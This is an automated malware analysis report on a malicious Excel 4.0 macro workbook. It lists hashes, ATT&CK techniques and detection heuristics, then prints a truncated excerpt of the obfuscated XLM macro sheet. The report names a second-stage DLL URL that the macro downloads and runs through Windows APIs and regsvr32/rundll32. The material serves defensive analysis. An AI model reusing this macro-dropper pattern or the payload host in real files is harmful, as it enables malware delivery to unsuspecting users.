Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fb0e497787192f62…

MALICIOUS

Office (OOXML)

86.8 KB Created: 2020-06-01 11:40:21 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-07-24
MD5: c956de504c58238c0caa709ee2112a2b SHA-1: c2d57e1208e64ed69b06adc1c2b21db011343486 SHA-256: fb0e497787192f62c655bb0d61fcc9b72eb6c3adfa05f7c096b29a6dd7d0fe8f
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This Excel 4.0 macro sheet contains dangerous functions like RUN, FORMULA, and REGISTER, which are used to download and execute payloads. The macro sheet explicitly calls URLDownloadToFileA and ShellExecuteA, indicating its intent to download a second-stage payload from the URL https://retinaegras.at/3/ebs.dll and execute it. The presence of WinAPI strings and the use of LOLBins like regsvr32.exe and rundll32.exe further support this malicious behavior.

Heuristics 7

  • Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: RUN, FORMULA, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 9 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://retinaegras.at/3/ebs.dll In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 85433 bytes
SHA-256: f166d7eadb1751546af29b435a5c60800b3e4bd4fac14c984671f50913d69a7b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A2:IO1995"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="2" spans="40:171" x14ac:dyDescent="0.25"><c r="FO2"><v>81</v></c></row><row r="5" spans="40:171" x14ac:dyDescent="0.25"><c r="AN5" t="s"><v>14</v></c></row><row r="6" spans="40:171" x14ac:dyDescent="0.25"><c r="AN6" t="b"><f>RUN($HD$1113)</f><v>0</v></c><c r="AO6" t="b"><f>RUN($AI$719)</f><v>0</v></c></row><row r="11" spans="40:171" x14ac:dyDescent="0.25"><c r="BR11" t="s"><v>12</v></c><c r="DR11" t="b"><f>RUN($FX$1521)</f><v>0</v></c></row><row r="12" spans="40:171" x14ac:dyDescent="0.25"><c r="BR12" t="b"><f>RUN($HX$465)</f><v>0</v></c></row><row r="16" spans="40:171" x14ac:dyDescent="0.25"><c r="DJ16" t="s"><v>36</v></c><c r="FL16" t="s"><v>64</v></c></row><row r="17" spans="16:231" x14ac:dyDescent="0.25"><c r="DJ17" t="b"><f>RUN($Z$349)</f><v>0</v></c><c r="EH17" t="b"><f>RUN($EK$1915)</f><v>0</v></c><c r="FH17" t="s"><v>7</v></c></row><row r="18" spans="16:231" x14ac:dyDescent="0.25"><c r="FH18" t="b"><f>RUN($EZ$921)</f><v>0</v></c></row><row r="19" spans="16:231" x14ac:dyDescent="0.25"><c r="AX19" t="b"><f>FORMULA($AE$605&amp;$CK$623&amp;$CH$759&amp;$EP$220&amp;$AZ$1465&amp;$DG$1554&amp;$E$544&amp;$AY$945,$A$1275)</f><v>1</v></c></row><row r="20" spans="16:231" x14ac:dyDescent="0.25"><c r="AX20" t="b"><f>RUN($AU$302)</f><v>0</v></c></row><row r="21" spans="16:231" x14ac:dyDescent="0.25"><c r="HW21" t="b"><f>RUN($GD$1572)</f><v>0</v></c></row><row r="30" spans="16:231" x14ac:dyDescent="0.25"><c r="P30" t="b"><f>RUN($Z$1861)</f><v>0</v></c></row><row r="31" spans="16:231" x14ac:dyDescent="0.25"><c r="X31" t="b"><f>FORMULA($GB$1799&amp;$GZ$1554&amp;$EU$362&amp;$EY$1426,$HE$112)</f><v>1</v></c></row><row r="32" spans="16:231" x14ac:dyDescent="0.25"><c r="X32" t="b"><f>RUN($AY$945)</f><v>0</v></c></row><row r="37" spans="43:230" x14ac:dyDescent="0.25"><c r="GZ37"><v>53</v></c></row><row r="39" spans="43:230" x14ac:dyDescent="0.25"><c r="DI39" t="s"><v>6</v></c></row><row r="40" spans="43:230" x14ac:dyDescent="0.25"><c r="DI40" t="b"><f>RUN($EL$887)</f><v>0</v></c></row><row r="42" spans="43:230" x14ac:dyDescent="0.25"><c r="GX42" t="s"><v>22</v></c></row><row r="43" spans="43:230" x14ac:dyDescent="0.25"><c r="GX43" t="b"><f>RUN($H$49)</f><v>0</v></c></row><row r="44" spans="43:230" x14ac:dyDescent="0.25"><c r="AQ44" t="s"><v>15</v></c></row><row r="45" spans="43:230" x14ac:dyDescent="0.25"><c r="AQ45" t="b"><f>RUN($GM$937)</f><v>0</v></c></row><row r="46" spans="43:230" x14ac:dyDescent="0.25"><c r="HO46" t="s"><v>46</v></c><c r="HV46"><v>2</v></c></row><row r="47" spans="43:230" x14ac:dyDescent="0.25"><c r="HO47" t="b"><f>RUN($CT$105)</f><v>0</v></c><c r="HV47" t="b"><f>RUN($BJ$808)</f><v>0</v></c></row><row r="52" spans="13:237" x14ac:dyDescent="0.25"><c r="M52" t="s"><v>8</v></c></row><row r="53" spans="13:237" x14ac:dyDescent="0.25"><c r="M53" t="b"><f>RUN($GX$916)</f><v>0</v></c></row><row r="54" spans="13:237" x14ac:dyDescent="0.25"><c r="BB54" t="s"><v>51</v></c></row><row r="55" spans="13:237" x14ac:dyDescent="0.25"><c r="EO55" t="s"><v>55</v></c></row><row r="56" spans="13:237" x14ac:dyDescent="0.25"><c r="BS56" t="b"><f>RUN($HT$791)</f><v>0</v></c><c r="CD56"><v>48</v></c></row><row r="61" spans="13:237" x14ac:dyDescent="0.25"><c r="IC61" t="s"><v>57</v></c></row><row r="65" spans="22:202" x14ac:dyDescent="0.25"><c r="AF65" t="s"><v>8</v></c><c r="BM65"><v>1032</v></c></row><row r="66" spans="22:202" x14ac:dyDescent="0.25"><c r="AF66" t="b"><f>RUN($FH$1996)</f><v>0</v></c><c r="BM66"><v>143</v></c
... (truncated)